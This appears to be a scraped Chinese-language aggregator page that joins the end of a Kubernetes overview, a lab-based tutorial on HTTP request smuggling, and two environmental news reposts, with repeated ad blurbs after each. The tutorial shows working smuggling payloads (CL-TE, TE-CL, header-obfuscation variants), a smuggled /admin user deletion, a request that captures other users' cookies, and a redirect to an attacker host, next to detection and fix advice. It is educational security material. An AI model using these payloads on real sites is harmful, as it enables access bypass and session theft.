    Kubernetes 允許您指定每個容器所需 CPU 和內存(RAM)。當容器指定了資源請求時,Kubernetes 可以做出更好的決策來管理容器的資源。

  • 自我修復
    Kubernetes 重新啟動失敗的容器、替換容器、殺死不響應用戶定義的運行狀況檢查的容器,並且在準備好服務之前不將其通告給客戶端。

  • 密鑰與配置管理
    Kubernetes 允許您存儲和管理敏感信息,例如密碼、OAuth 令牌和 ssh 密鑰。您可以在不重建容器鏡像的情況下部署和更新密鑰和應用程序配置,也無需在堆棧配置中暴露密鑰。

小結:K8S 提供了服務發現和負載均衡、存儲編排、自動部署和回滾、自動二進制打包、自我修復、密鑰與配置管理等功能,能滿足您的擴展要求、故障轉移、部署模式等需求

擴展
1、有微服務實踐的讀者可能會發現,微服務組件中的服務發現、負載均衡、網關等功能在K8s體系中都有對應的實現,那麼是不是我就可以不使用其他微服務的體系而直接擁抱K8s呢?
答案是可以的。但有一點限制就是開發人員要學習K8s,偏向DevOps了。
2、既然K8s提供了微服務所需的基礎組件實現,但我可以不用么?
答案也是可行的。K8s的組件插拔能力允許你這麼做,這樣一來開發測試環境使用本地部署註冊中心等組件,開發人員就無需關心K8s了,只需要理解所用微服務框架本身,如Spring Cloud等。

Kubernetes 不是什麼

Kubernetes 不是傳統的、包羅萬象的 PaaS(平台即服務)系統。它只提供了 PaaS 產品共有的一些普遍適用的功能,例如部署、擴展、負載均衡、日誌記錄和監視。但是,Kubernetes 不是單一的,默認解決方案是可選和可插拔的。Kubernetes 提供了構建開發人員平台的基礎,但是在重要的地方保留了用戶的選擇和靈活性。

Kubernetes:

  • 不限制支持的應用程序類型。Kubernetes 旨在支持極其多種多樣的工作負載,包括無狀態、有狀態和數據處理工作負載。如果應用程序可以在容器中運行,那麼它應該可以在 Kubernetes 上很好地運行。

  • 不部署源代碼,也不構建您的應用程序。持續集成(CI)、交付和部署(CI/CD)工作流取決於組織的文化和偏好以及技術要求。

  • 不提供應用程序級別的服務作為內置服務,例如中間件(例如,消息中間件)、數據處理框架(例如,Spark)、數據庫(例如,mysql)、緩存、集群存儲系統(例如,Ceph)。這樣的組件可以在 Kubernetes 上運行,並且/或者可以由運行在 Kubernetes 上的應用程序通過可移植機制(例如,開放服務代理)來訪問。

  • 不指定日誌記錄、監視或警報解決方案。它提供了一些集成作為概念證明,並提供了收集和導出指標的機制。

  • 不提供或不要求配置語言/系統(例如 jsonnet),它提供了聲明性 API,該聲明性 API 可以由任意形式的聲明性規範所構成。

  • 不提供也不採用任何全面的機器配置、維護、管理或自我修復系統

  • 此外,Kubernetes 不僅僅是一個編排系統,實際上它消除了編排的需要。編排的技術定義是執行已定義的工作流程:首先執行 A,然後執行 B,再執行 C。相比之下,Kubernetes 包含一組獨立的、可組合的控制過程,這些過程連續地將當前狀態驅動到所提供的所需狀態。從 A 到 C 的方式無關緊要,也不需要集中控制,這使得系統更易於使用且功能更強大、健壯、彈性和可擴展性。

小結:K8S 提供了基礎的容器編排平台,但並不是大而全地將所有可能的功能都直接集成進來,而是做成可插拔的形式,可以做到因地適宜地組織與管理集群,擁有很高的靈活性。

Kubernetes 架構與組件

K8s的架構如上圖,左邊虛線框的部分稱為 控制平面(Control Plane),右側為 集群節點(Nodes)

控制平面所在的主機稱為 Master 節點,其餘稱為 Nodes 執行節點

簡單按這兩種角色來講,Master節點負責發號施令(下發命令、監控節點與容器狀態),而 Nodes 節點負責幹活

控制平面(Control Plane)組件

控制平面的組件對集群做出全局決策(比如調度),以及檢測和響應集群事件

控制平面組件可以在集群中的任何節點上運行。簡單起見,通常會將控制平台配置在一台主機上,也可以配置高可用形式。

下邊我們介紹下 控制平面中的幾大組件:

  • kube-apiserver:Master節點上負責提供 Kubernetes API 服務的組件;它是 Kubernetes 控制面的前端,由它來接收來自 CLI 與 UI 的指令
  • etcd:是兼具一致性和高可用性的鍵值數據庫,可以作為保存 Kubernetes 所有集群數據的後台數據庫。
  • kube-scheduler:Master節點上的組件,該組件監視那些新創建的未指定運行節點的 Pod,並選擇節點讓 Pod 在上面運行。
  • kube-controller-manager:控制器通過 apiserver 監控集群的公共狀態,並致力於將當前狀態轉變為期望的狀態。從邏輯上講,每個控制器都是一個單獨的進程,但是為了降低複雜性,它們都被編譯到同一個可執行文件,並在一個進程中運行。包含以下幾種控制器:
    • 節點控制器(Node Controller): 負責在節點出現故障時進行通知和響應。
    • 副本控制器(Replication Controller): 負責為系統中的每個副本控制器對象維護正確數量的 Pod。
    • 端點控制器(Endpoints Controller): 填充端點(Endpoints)對象(即加入 Service 與 Pod)。
    • 服務帳戶和令牌控制器(Service Account & Token Controllers): 為新的命名空間創建默認帳戶和 API 訪問令牌
  • cloud-controller-manager:雲控制器管理器負責與基礎雲提供商交互,以下控制器具有雲提供商依賴性:
    • 節點控制器(Node Controller): 用於檢查雲提供商以確定節點是否在雲中停止響應后被刪除
    • 路由控制器(Route Controller): 用於在底層雲基礎架構中設置路由
    • 服務控制器(Service Controller): 用於創建、更新和刪除雲提供商負載均衡器
    • 數據卷控制器(Volume Controller): 用於創建、附加和裝載卷、並與雲提供商進行交互以編排卷

節點(Node) 組件

節點組件在每個節點上運行,維護運行的 Pod 並提供 Kubernetes 運行環境

節點組件包含兩大組件:

  • kubelet:一個在集群中每個節點上運行的代理。它保證容器都運行在 Pod 中。

    kubelet 接收一組通過各類機制提供給它的 PodSpecs,確保這些 PodSpecs 中描述的容器處於運行狀態且健康。kubelet 不會管理不是由 Kubernetes 創建的容器。

  • kube-proxy:是集群中每個節點上運行的網絡代理,實現 Kubernetes Service 概念的一部分。

    kube-proxy 維護節點上的網絡規則。這些網絡規則允許從集群內部或外部的網絡會話與 Pod 進行網絡通信。

    如果操作系統提供了數據包過濾層並可用的話,kube-proxy會通過它來實現網絡規則。否則,kube-proxy 僅轉發流量本身

  • 容器運行環境(Container Runtime):容器運行環境是負責運行容器的軟件。K8s支持多種容器運行環境:Docker、containerd、cri-o、rklet 以及任何實現K8s容器運行環境接口的技術。

插件(Addons)

  • DNS:所有 Kubernetes 集群都應具有 DNS。集群 DNS 還是一個 DNS 服務器,它為 Kubernetes 服務提供 DNS 記錄。

  • 用戶界面(Dashboard):Kubernetes 集群基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。

Dashboard 是 Kubernetes 集群的通用基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。

  • 容器資源監控:將關於容器的一些常見的時間序列度量值保存到一個集中的數據庫中,並提供用於瀏覽這些數據的界面。

  • 集群層面日誌:負責將容器的日誌數據保存到一個集中的日誌存儲中,該存儲能夠提供搜索和瀏覽接口。

小結:K8s架構分為控制平台位於的Master節點與執行節點Node

控制平台包含:

  • kube-apiserver(訪問入口,接收命令)
  • etcd(KV數據庫,保存集群狀態與數據)
  • kube-scheduler(監控節點狀態,調度容器部署)
  • kube-controller-manager(監控集群狀態,控制節點、副本、端點、賬戶與令牌)
  • cloud-controller-manager(控制與雲交互的節點、路由、服務、數據卷)
  • 執行節點包含:

  • kubelet(監控與實際操作容器)
  • kube-proxy(每個節點上運行的網絡代理,維護網絡轉發規則,實現了Service)
  • 容器運行時環境CRI(支持多種實現K8s CRI的容器技術)
  • 本文總結

    Kubernetes 作為容器編排的領航者,將容器化的優勢發揮得淋漓盡致,排除了容器難於管理的問題。

    按角色來看,K8s可以分為兩部分,控制平面與執行節點,控制平台通過一系列接收指令、監控、部署調度等功能的組件組成,最主要的有kube-apiserver、etcd、kube-scheduler、kube-controller-manager;執行節點包含負責監控與具體幹活的kubelet和維護網絡規則的kube-proxy

    參考文章

    • https://kubernetes.io/docs/concepts/overview/components/

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

    HTTP Request Smuggling 請求走私

    參考文章

    淺析HTTP走私攻擊
    SeeBug-協議層的攻擊——HTTP請求走私
    HTTP 走私漏洞分析
    HTTP-Request-Smuggling

    簡單介紹

    攻擊者通過構造特殊結構的請求,干擾網站服務器對請求的處理,從而實現攻擊目標

    前提知識

    注:以下文章中的前端指的是(代理服務器、CDN、WAF,負載均衡,Nginx,HAproxy等)

    Persistent Connection:持久連接,Connection: keep-alive
    比如打開一個網頁,我們可以在瀏覽器控制端看到瀏覽器發送了許多請求(HTML、圖片、css、js),而我們知道每一次發送HTTP請求需要經過 TCP 三次握手,發送完畢又有四次揮手。當單個用戶同時需要發送多個請求時,這一點消耗或許微不足道,但當有許多用戶同時發起請求的時候,便會給服務器造成很多不必要的消耗。為了解決這一問題,在 HTTP 協議中便新加了 Connection: keep-alive 這一個請求頭,當有些請求帶着 Connection: close 的話,通信完成之後,服務器才會中斷 TCP 連接。如此便解決了額外消耗的問題,但是服務器端處理請求的方式仍舊是請求一次響應一次,然後再處理下一個請求,當一個請求發生阻塞時,便會影響後續所有請求,為此 Pipelining 異步技術解決了這一個問題

    Pipelining:能一次處理多個請求,客戶端不必等到上一個請求的響應后再發送下一個請求。服務器那邊一次可以接收多個請求,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端

    但是這樣也會帶來一個問題————如何區分每一個請求才不會導致混淆————前端與後端必須短時間內對每個數據包的邊界大小達成一致。否則,攻擊者就可以構造發送一個特殊的數據包發起攻擊。那麼如何界定數據包邊界呢?
    有兩種方式: Content-LengthTransfer-Encoding.

    Content-Length:CL,請求體或者響應體長度(十進制)。字符算一個,CRLF(一個換行)算兩個。通常如果 Content-Length 的值比實際長度小,會造成內容被截斷;如果比實體內容大,會造成 pending,也就是等待直到超時。

    Transfer-Encoding:TE,其只有一個值 chunked (分塊編碼)。分塊編碼相當簡單,在頭部加入 Transfer-Encoding: chunked 之後,就代表這個報文採用了分塊編碼。這時,報文中的實體需要改為用一系列分塊來傳輸。每個分塊包含十六進制的長度值和數據,長度值獨佔一行,長度不包括它結尾的 CRLF(\r\n),也不包括分塊數據結尾的 CRLF,但是包括分塊中的換行,值算2。最後一個分塊長度值必須為 0,對應的分塊數據沒有內容,表示實體結束。
    例如:

    POST /langdetect HTTP/1.1
    Host: fanyi.baidu.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 93
    Transfer-Encoding: chunked
    
    2;逗號後面是註釋
    qu
    3;3表示後面的字符長度為3(十六進制),不算CRLF(\r\n回車換行)
    ery
    1
    =
    2
    ja
    2
    ck
    0;0表示實體結束
    
    
    

    注:根據 RFC 標準,如果接收到的消息同時具有傳輸編碼標頭字段和內容長度標頭字段,則必須忽略內容長度標頭字段,當然也有不遵循標準的例外。

    根據標準,當接受到如 Transfer-Encoding: chunked, error 有多個值或者不識別的值時的時候,應該返回 400 錯誤。但是有一些方法可以繞過
    (導致既不返回400錯誤,又可以使 Transfer-Encoding 標頭失效):

    Transfer-Encoding: xchunked
    
    Transfer-Encoding : chunked
    
    Transfer-Encoding: chunked
    
    Transfer-Encoding: x
    
    Transfer-Encoding:[tab]chunked
    
    GET / HTTP/1.1
     Transfer-Encoding: chunked
    X: X[\n]Transfer-Encoding: chunked
    
    Transfer-Encoding
     : chunked
    

    產生原因

    HTTP規範提供了兩種不同方式來指定請求的結束位置,它們是 Content-Length 標頭和 Transfer-Encoding 標頭。當前/後端對數據包邊界的校驗不一致時,
    使得後端將一個惡意的殘缺請求需要和下一個正常的請求進行拼接,從而吞併了其他用戶的正常請求。如圖:

    那麼前/後端校驗不一致有那些情況呢呢呢呢?

    類型

    1. CL-TE: 前端: Content-Length,後端: Transfer-Encoding

    BURP實驗環境

    第一次請求:

    第二次請求:

    原理:前端服務器通過 Content-Length 界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端服務器,後端服務器通過 Transfer-Encoding 界定數據包邊界,導致 R0oKi3 字段被識別為下一個數據包的內容,而被送到了緩衝區,由於內容不完整,會等待後續數據,當正常用戶的請求傳輸到後端時,與之前滯留的惡意數據進行了拼接,組成了 R0OKI3POST ,為不可識別的請求方式,導致403。

    1. TE-CL: 前端: Transfer-Encoding,後端: Content-Length

    BURP實驗環境
    記得關 burp 的 Update Content-Length 功能

    第一次請求:

    第二次請求:

    原理:跟 CL-TE 相似

    1. TE-TE: 前端: Transfer-Encoding,後端: Transfer-Encoding

    BURP實驗環境
    記得關 burp 的 Update Content-Length 功能

    第一次請求:

    第二次請求:

    原理:前端服務器通過第一個 Transfer-Encoding 界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端服務器,後端服務器通過第二個 Transfer-Encoding 界定數據包邊界,結果為一個不可識別的標頭,然後便退而求其次使用 Content-Length 校驗,結果就跟 TE-CL 形式無異了。同樣若是前端服務器校驗第二個,後端服務器校驗第一個,那結果也就跟 CL-TE 形式無異了。

    1. CL-CL: 前端: Content-Length,後端: Content-Length

    在RFC7230規範中,規定當服務器收到的請求中包含兩個 Content-Length,而且兩者的值不同時,需要返回400錯誤。但難免會有服務器不嚴格遵守該規範。假設前端和後端服務器都收到該類請求,且不報錯,其中前端服務器按照第一個Content-Length的值對請求進行為數據包定界,而後端服務器則按照第二個Content-Length的值進行處理。

    這時攻擊者可以惡意構造一個特殊的請求:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 11
    Content-Length: 5
    
    123
    R0oKi3
    

    原理:前端服務器獲取到的數據包的長度11,由此界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端,而後端服務器獲取到的數據包長度為5。當讀取完前5個字符后,後端服務器認為該請求已經讀取完畢。便去識別下一個數據包,而此時的緩衝區中還剩下 R0oKi3,它被認為是下一個請求的一部分,由於內容不完整,會等待後續數據,當正常用戶的請求傳輸到後端時,與之前滯留的惡意數據進行了拼接,攻擊便在此展開。

    1. CL 不為 0 的 GET 請求:

    假設前端服務器允許 GET 請求攜帶請求體,而後端服務器不允許 GET 請求攜帶請求體,它會直接忽略掉 GET 請求中的 Content-Length 頭,不進行處理。這就有可能導致請求走私。
    比如發送下面請求:

    GET / HTTP/1.1
    Host: example.com
    Content-Length: 72
    
    POST /comment HTTP/1.1
    Host: example.com
    Content-Length:666
    
    msg=aaa
    

    前端服務器通過讀取Content-Length,確認這是個完整的請求,然後轉發到後端服務器,而後端服務器因為不對 Content-Length 進行判斷,於是在後端服務器中該請求就變成了兩個:
    第一個:

    GET / HTTP/1.1
    Host: example.com
    Content-Length: 72
    

    第二個:

    POST /comment HTTP/1.1
    Host: example.com
    Content-Length:666
    
    msg=aaa
    

    而第二個為 POST 請求,假定其為發表評論的數據包,再假定後端服務器是依靠 Content-Length 來界定數據包的,那麼由於數據包長度為 666,那麼便會等待其他數據,等到正常用戶的請求包到來,便會與其拼接,變成 msg=aaa……………… ,然後會將显示在評論頁面,也就會導致用戶的 Cookie 等信息的泄露。

    PortSwigger 其他實驗

    1. 使用 CL-TE 繞過前端服務器安全控制

    BURP實驗環境
    坑點:有時候實體數據里需要添加一些別的字段或者空行,不然會出一些很奇怪的錯誤,所以我在弄的時候參照了seebug 404Team
    實驗要求:獲取 admin 身份並刪除 carlos 用戶

    第一步:實驗提示我們 admin 管理面版在 /admin 目錄下,直接訪問,显示:

    第二步:利用 CL-TE 請求走私繞過前端服務器安全控制

    • 第一次發包

    坑點:數據實體一定要多一些其他字段或者多兩行空白,不然報 Invalid request 請求不合法

    0
    
    GET /admin HTTP/1.1
    
    
    # 若是多了兩行空白,那麼 foo: bar 字段可以不要
    

    提示 admin 要從 localhost 登陸

    • 改包后多發幾次得到

    • 改包刪除用戶

    • 再次請求 /admin 頁面,發現 carlos 用戶已不存在

      坑點:這裏再次請求的時候記得多加兩個空行改變一下 Content-Length 的值,不然會显示不出來,神奇 BUG?

    原理:網站進行身份驗證的處理是在前端服務器,當直接訪問 /admin 目錄時,由於通過不了前端驗證,所以會返回 Blocked。利用請求走私,便可以繞過前端驗證,直接在後端產生一個訪問 /admin 目錄的請求包,當發起下一個請求時,響應的數據包對應的是走私的請求包,如此便可以查看 admin 面板的頁面數據,從而達到繞過前端身份驗證刪除用戶的目的。

    1. 使用 TE-CL 繞過前端服務器安全控制

    BURP實驗環境

    實驗過程與上一個實驗相仿,不過要記得關 burp 的 Update Content-Length

    這裏:不知道為什麼一定要加 Content-Length 和其他的一些詞,不加的話會显示 Invalid request 請求不合法 ?????????

    1. 獲取前端服務器重寫請求字段(CL-TE)

    BURP實驗環境

    摘自seebug 404Team
    在有的網絡環境下,前端代理服務器在收到請求后,不會直接轉發給後端服務器,而是先添加一些必要的字段,然後再轉發給後端服務器。這些字段是後端服務器對請求進行處理所必須的,比如:

    • 描述TLS連接所使用的協議和密碼

    • 包含用戶IP地址的XFF頭

    • 用戶的會話令牌ID
      總之,如果不能獲取到代理服務器添加或者重寫的字段,我們走私過去的請求就不能被後端服務器進行正確的處理。那麼我們該如何獲取這些值呢。PortSwigger提供了一個很簡單的方法,主要是三大步驟:

    • 找一個能夠將請求參數的值輸出到響應中的POST請求

    • 把該POST請求中,找到的這個特殊的參數放在消息的最後面

    • 然後走私這一個請求,然後直接發送一個普通的請求,前端服務器對這個請求重寫的一些字段就會显示出來。

    • 第一步:找一個能夠將請求參數的值輸出到響應中的POST請求

    • 第二步:利用 CL-TE 走私截獲正常數據包經前端服務器修改后發送過來的內容,並輸出在響應包中

    這一步的原理:由於我們走私構造的請求包為:

    POST / HTTP/1.1
    Content-Length: 100
    
    search=66666
    

    從這裏可以看到,Content-Length 的值為 100,而我們的實體數據僅為 search=66666,遠沒有 100,於是後端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞併了下一個請求的部分或全部內容,並返回走私請求的響應。

    • 第三步:在走私的請求上添加這個字段,然後走私一個刪除用戶的請求。

    • 查看 /admin 頁面,發現用戶已被刪除

    能用來干什麼

    1. 賬戶劫持 CL-TE
      BURP實驗環境
    • 構造特殊請求包,形成一個走私請求

    • 查看評論

    原理:(跟 獲取前端服務器重寫請求字段 相似)
    我們走私構造的請求包為:

    POST /post/comment HTTP/1.1
    Host: aca41ff41e89d28f800d3e82001a00c8.web-security-academy.net
    Content-Length: 900
    Cookie: session=XPbI3LJQJCoBcQOvsLdfyCNbOKqsGudy
    
    csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa
    
    
    

    可以看到 Content-Length 值為 900,而我們的實體數據僅為 csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa,遠不足900,於是後端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞併了下一個請求的部分或全部內容,並且由於是構造發起評論的請求包,所以數據會存入數據庫,從而打開頁面便會看到其他用戶的請求包內容,獲取其敏感數據,由於環境只有我一個人在玩,所以只能獲取到自己的敏感數據。

    注意:一定要將 comment=aaaa 放在最後

    1. Reflected XSS + Smuggling 造成無需交互的 XSS(CL-TE)
      BURP實驗環境
    • 首先反射型 XSS 在文章頁面

    • 構造請求走私 payload

    • 導致無交互 XSS

    1. 惡意重定向
      環境暫無

    許多應用程序執行從一個 URL 到另一個URL的重定向,會將來自請求的 Host 標頭的主機名放入重定向URL。一個示例是 Apache 和 IIS Web 服務器的默認行為,在該行為中,對不帶斜杠的文件夾的請求將收到對包含該斜杠的文件夾的重定向:

    請求
    GET /home HTTP/1.1
    Host: normal-website.com
    
    響應
    HTTP/1.1 301 Moved Permanently
    Location: https://normal-website.com/home/
    

    通常,此行為被認為是無害的,但是可以在走私請求攻擊中利用它來將其他用戶重定向到外部域。例如:

     POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 54
    Transfer-Encoding: chunked
    
    0
    
    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: X 
    

    走私的請求將觸發重定向到攻擊者的網站,這將影響後端服務器處理的下一個用戶的請求。例如:

    正常請求
    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /scripts/include.js HTTP/1.1
    Host: vulnerable-website.com
    
    惡意響應
    HTTP/1.1 301 Moved Permanently
    Location: https://attacker-website.com/home/ 
    

    若用戶請求的是一個 JavaScript 文件,該文件是由網站上的頁面導入的。攻擊者可以通過在響應中返回自己的 JavaScript 文件來完全破壞受害者用戶。

    4.緩存投毒

    一般來說,前端服務器出於性能原因,會對後端服務器的一些資源進行緩存,如果存在HTTP請求走私漏洞,則有可能使用重定向來進行緩存投毒,從而影響後續訪問的所有用戶。

    BURP實驗環境

    實驗參考

    檢測

    檢測請求走私漏洞的明顯方法是發出一個模糊的請求,然後發出正常的“受害者”請求,然後觀察後者是否得到意外的響應。但是,這極易受到干擾。

    如果另一個用戶的請求在我們的受害者請求之前命中,他們將得到損壞的響應,我們將不會發現該漏洞。這意味着在具有大量流量的實時站點上,很難證明請求走私存在而不會在此過程中影響眾多真正的用戶。即使在沒有其他流量的站點上,您也可能會因應用程序級別的怪癖終止連接而導致漏報。

    為了解決這個問題,作者開發了一種檢測策略,該策略使用一系列消息,這些消息使易受攻擊的後端系統掛起並使連接超時。這種技術幾乎沒有誤報,抵制應用程序級別的怪癖,最重要的是幾乎沒有影響其他用戶的風險。

    假設前端服務器使用Content-Length頭,後端使用Transfer-Encoding頭。我將此定位稱為CL.TE。我們可以通過發送以下請求來檢測潛在的請求走私:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 4
    Transfer-Encoding: chunked
    
    1
    R
    x
    

    由於較短的Content-Length,前端將僅轉發到 R 丟棄後續的 X,而後端將在等待下一個塊大小時超時。這將導致明顯的時間延遲。
    如果超時說明兩個服務器為CL.TE,正常響應就是CL.CL,被拒絕就可能是TE.TE或者TE.CL,那麼只需要在拒絕的時候,再使用第二個請求,TE.TE就會正常響應,TE.CL就會超時。

    如果兩個服務器同步(TE.TE或CL.CL),請求將被前端拒絕或由兩個系統無害地處理。最後,如果以相反的方式發生(TE.CL),前端將拒絕該消息,而不會將其轉發到後端,這要歸功於無效的塊大小“Q”。這可以防止後端中毒。

    我們可以使用以下請求安全地檢測TE.CL:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 6
    Transfer-Encoding: chunked
    
    0
    
    
    X
    

    如果以相反的方式發生(CL.TE),則此方法將使用X毒化後端套接字,可能會損害合法用戶。幸運的是,通過首先運行先前的檢測方法,我們可以排除這種可能性。

    這些請求可以適應目標解析中的任意差異,並且它們用於通過HTTP Request Smuggler自動識別請求走私漏洞。HTTP Request Smuggler是為幫助此類攻擊而開發的開源Burp Suite擴展。它們現在也被用在Burp Suite的核心掃描儀中。雖然這是服務器級漏洞,但單個域上的不同接口通常會路由到不同的目標,因此應將此技術單獨應用於每個接口。

    修復

    1. 禁用後端連接的重用,以便每個後端請求通過單獨的網絡連接發送。
    2. 使用HTTP / 2進行後端連接,因為此協議可防止對請求之間的邊界產生歧義。
    3. 前端服務器和後端服務器使用完全相同的Web服務器軟件,以便它們就請求之間的界限達成一致。
      以上的措施有的不能從根本上解決問題,而且有着很多不足,就比如禁用代理服務器和後端服務器之間的 TCP 連接重用,會增大後端服務器的壓力。使用 HTTP/2 在現在的網絡條件下根本無法推廣使用,哪怕支持 HTTP/2 協議的服務器也會兼容 HTTP/1.1。從本質上來說,HTTP 請求走私出現的原因並不是協議設計的問題,而是不同服務器實現的問題,個人認為最好的解決方案就是嚴格的實現 RFC7230-7235 中所規定的的標準,但這也是最難做到的。

    HTTP 參數污染也能算是一種請求走私 HTTP參數污染

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

    全球暖化警示!南極驚見「鮮紅極地」

    摘錄自2020年2月29日自由時報報導

    南極科學家近來捕捉到一系列照片,只見片片雪地上竟染上了大面積的鮮紅色,畫面看來有些詭異。然而,這樣的景象其實是全球暖化持續惡化的警示之一。

    綜合外媒報導,此類景象被稱為是「西瓜雪」。西瓜雪是由極地雪藻(Chlamydomonas nivalis)所造成,該藻類能夠製造耐寒孢子,讓它們得以在0°C以下的低溫存活。由於南極正值夏季,溫暖的天氣為孢子帶來適當的繁殖條件。

    烏克蘭科學家提到,大面積的西瓜雪是氣候暖化的產物,且其顏色能夠反射的日照量較少,會讓雪融化得更快。此外,極地雪藻對人類來說具有毒性,不能食用。

    南極洲在2月初被熱浪侵襲,出現20.75°C的破紀錄高溫,美國國家航空暨太空總署(NASA)公布的衛星照片顯示,位於南極洲東北方的鷹島,短短九天內融化了20%的積雪。美國麻州尼可斯學院的地質學家佩爾托(Mauri Pelto)表示,直到21世紀前,南極洲大陸幾乎從未發生過這種事。



    烏克蘭科學家近日在南極發現大片西瓜雪。圖片來源:「Національний антарктичний науковий центр」臉書




    形成西瓜雪的極地雪藻會使融冰速度增加。圖片來源:「Національний антарктичний науковий центр」臉書

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

    北加州野火再起安全性斷電 2000多人撤離

    摘錄自2019年10月24日中央社報導

    北加州酒鄉有超過一萬公頃的土地遭到森林野火侵襲,2000多人被迫離家,目前沒有人員傷亡,以公共安全為理由的民生斷電又展開。美國媒體ABC News在推特放上現場畫面。

    這場名為金凱德(Kincade)的火災,起火地點距離太平洋瓦斯電力公司(Pacific Gas and Electric Company,PG&E)切斷電源的索諾馬郡(Sonoma County)不遠,索諾馬是與納帕山谷(Napa Valley)齊名的北加州葡萄酒鄉。

    今年季節性的高熱乾風再度來襲,PG&E近日兩度以公共安全為考量,在非常短的時間、突襲式通知警戒區域的民眾斷電消息,引發擾民爭議,也被批評沒有及早檢查、更新輸電線等相關設備。

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?